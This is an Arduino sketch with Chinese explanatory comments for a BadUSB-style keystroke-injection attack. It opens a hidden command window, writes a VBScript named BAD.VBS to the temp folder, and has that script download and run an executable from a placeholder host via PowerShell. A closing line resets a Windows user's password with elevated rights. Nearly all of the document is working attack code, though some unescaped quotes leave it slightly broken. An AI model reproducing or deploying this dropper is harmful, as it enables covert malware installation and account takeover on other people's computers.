include <Keyboard.h>
// 初始化函数,Arduino 程序从这里开始执行。
void setup() {
// 开始键盘通讯,启动模拟键盘功能。
Keyboard.begin();
// 延时 300 毫秒。
delay(300);
// 按下左 Windows 键(相当于按下 Win 键)
Keyboard.press(KEY_LEFT_GUI);
// 延时 500 毫秒。
delay(500);
// 按下 'r' 键。
Keyboard.press('r');//r 键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
// 这几行将 Caps Lock 键按下再释放,然后延迟 500 毫秒。可能是为了确保 Caps Lock 处于正确的状态
delay(500);
// 使用 Keyboard.println() 函数向系统模拟键盘输入了一条命令。该命令的作用是打开 Windows 命令提示符,并设置窗口的大小为15列1行。整个字符串被模拟输入到了系统中。
Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1"");
// 模拟键盘上输入 "cmd" 命令,相当于用户手动在命令行中输入 "cmd" 并按下回车
//Keyboard.println("cmd");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
// 模拟 Enter/Return 按键。在整个过程中通过 delay() 函数控制了每个操作间的时间间隔以确保稳定性和指令执行顺序。
delay(1000);
// 这个命令的作用是将 ECHO dim OBJsHELL 这段文本写入到 Windows 系统的临时文件夹(%TEMP%)下的 BAD.VBS 文件中
Keyboard.println("ECHO dim OBJsHELL >%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
// 将 SET OBJsHELL = WSCRIPT.CREATEOBJECT("WSCRIPT.SHELL") 这段文本写入到 Windows 系统的临时文件夹(%TEMP%)下的 BAD.VBS 文件中
Keyboard.println("ECHO SET OBJsHELL = WSCRIPT.CREATEoBJECT("WSCRIPT.SHELL") >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
// 将一段包含了下载和执行远程文件的 VBScript 代码写入到 Windows 系统的临时文件夹(%TEMP%)下的 BAD.VBS 文件中。具体来说,该代码会从指定 URL 下载一个名为 sss.exe 的远程可执行文件到系统的临时文件夹,并使用 PowerShell 执行该可执行文件。
Keyboard.println("ECHO IrETURN = OBJsHELL.rUN("CMD /C ECHO WGET -uRI HTTP://x.x.x.x/sss.exe -oUTfILE %TEMP%/sss.exe | POWERSHELL - && %TEMP%/sss.exe ", 0, true) >>%TEMP%/BAD.VBS");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
// 将 BAD.VBS 文件的路径打印到命令行中,从而执行之前生成的恶意 VBScript 文件
Keyboard.println("%temp%/bad.vbs");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop() {
// put your main code here, to run repeatedly:
}
Start-Process powershell -Verb RunAs -ArgumentList "net user 用户名 新密码"